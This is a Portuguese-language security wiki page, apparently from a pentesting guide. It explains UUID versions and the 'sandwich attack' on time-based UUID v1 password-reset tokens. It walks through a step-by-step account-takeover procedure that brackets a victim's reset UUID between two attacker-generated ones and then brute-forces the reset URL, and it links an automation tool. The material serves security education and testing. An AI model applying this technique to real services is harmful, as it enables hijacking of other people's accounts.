Identificadores Únicos Universalmente (UUIDs) são **números de 128 bits usados para identificar informações de forma única** em sistemas de computador. UUIDs são essenciais em aplicações onde identificadores únicos são necessários sem coordenação central. Eles são comumente usados como chaves de banco de dados e podem se referir a vários elementos como documentos e sessões.
|
||||
|
||||
UUIDs são projetados para serem únicos e **difíceis de adivinhar**. Eles são estruturados em um formato específico, divididos em cinco grupos representados por 32 dígitos hexadecimais. Existem diferentes versões de UUIDs, cada uma servindo a propósitos diferentes:
|
||||
|
||||
* **UUID v1** é baseado em tempo, incorporando o timestamp, sequência de relógio e ID do nó (endereço MAC), mas pode potencialmente expor informações do sistema.
|
||||
* **UUID v2** é semelhante ao v1, mas inclui modificações para domínios locais (não amplamente usados).
|
||||
* **UUID v3 e v5** geram UUIDs usando valores de hash de namespace e nome, com v3 usando MD5 e v5 usando SHA-1.
|
||||
* **UUID v4** é gerado quase que inteiramente aleatoriamente, fornecendo um alto nível de anonimato, mas com um leve risco de duplicatas.
|
||||
|
||||
{% hint style="success" %}
|
||||
Note que a versão e subversão do UUID geralmente aparece na mesma posição dentro do UUID. Por exemplo em:\
|
||||
12345678 - abcd - 1a56 - a539 - 103755193864\
|
||||
xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
|
||||
|
||||
* A **posição do M** indica a **versão** do UUID. No exemplo acima, é o UUID v**1**.
|
||||
* A **posição do N** indica a variante do UUID.
|
||||
{% endhint %}
|
||||
|
||||
## Ataque de Sanduíche
|
||||
|
||||
O "Ataque de Sanduíche" é um tipo específico de ataque que **explora a previsibilidade da geração de UUID v1 em aplicações web**, particularmente em recursos como redefinições de senha. O UUID v1 é gerado com base no tempo, sequência de relógio e o endereço MAC do nó, o que pode torná-lo um pouco previsível se um atacante puder obter alguns desses UUIDs gerados próximos no tempo.
|
||||
|
||||
### Exemplo
|
||||
|
||||
Imagine uma aplicação web que usa UUID v1 para gerar links de redefinição de senha. Veja como um atacante pode explorar isso para obter acesso não autorizado:
|
||||
|
||||
1. **Configuração Inicial**:
|
||||
|
||||
* O atacante tem controle sobre duas contas de e-mail: \`atacante1@acme.com\` e \`atacante2@acme.com\`.
|
||||
* A conta de e-mail do alvo é \`vítima@acme.com\`.
|
||||
|
||||
2. **Execução**:
|
||||
|
||||
* O atacante aciona uma redefinição de senha para sua primeira conta (\`atacante1@acme.com\`) e recebe um link de redefinição de senha com um UUID, digamos \`99874128-7592-11e9-8201-bb2f15014a14\`.
|
||||
* Imediatamente depois, o atacante aciona uma redefinição de senha para a conta da vítima (\`vítima@acme.com\`) e então rapidamente para a segunda conta controlada pelo atacante (\`atacante2@acme.com\`).
|
||||
* O atacante recebe um link de redefinição para a segunda conta com um UUID, digamos \`998796b4-7592-11e9-8201-bb2f15014a14\`.
|
||||
|
||||
3. **Análise**:
|
||||
|
||||
* O atacante agora tem dois UUIDs gerados próximos no tempo (\`99874128\` e \`998796b4\`). Dada a natureza sequencial dos UUIDs baseados em tempo, o UUID para a conta da vítima provavelmente estará entre esses dois valores.
|
||||
|
||||
4. **Ataque de Força Bruta:**
|
||||
|
||||
* O atacante usa uma ferramenta para gerar UUIDs entre esses dois valores e testa cada UUID gerado tentando acessar o link de redefinição de senha (por exemplo, \`https://www.acme.com/reset/\<UUID-gerado>\`).
|
||||
* Se a aplicação web não limitar adequadamente a taxa ou bloquear tais tentativas, o atacante pode testar rapidamente todos os UUIDs possíveis no intervalo.
|
||||
|
||||
5. **Acesso Obtido:**
|
||||
|
||||
* Uma vez que o UUID correto para o link de redefinição de senha da vítima é descoberto, o atacante pode redefinir a senha da vítima e obter acesso não autorizado à conta.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
* Você pode realizar o ataque de sanduíche automaticamente com a ferramenta: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||
* Você pode detectar esse tipo de UUIDs no Burp Suite com a extensão [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
|
Loading…
Reference in a new issue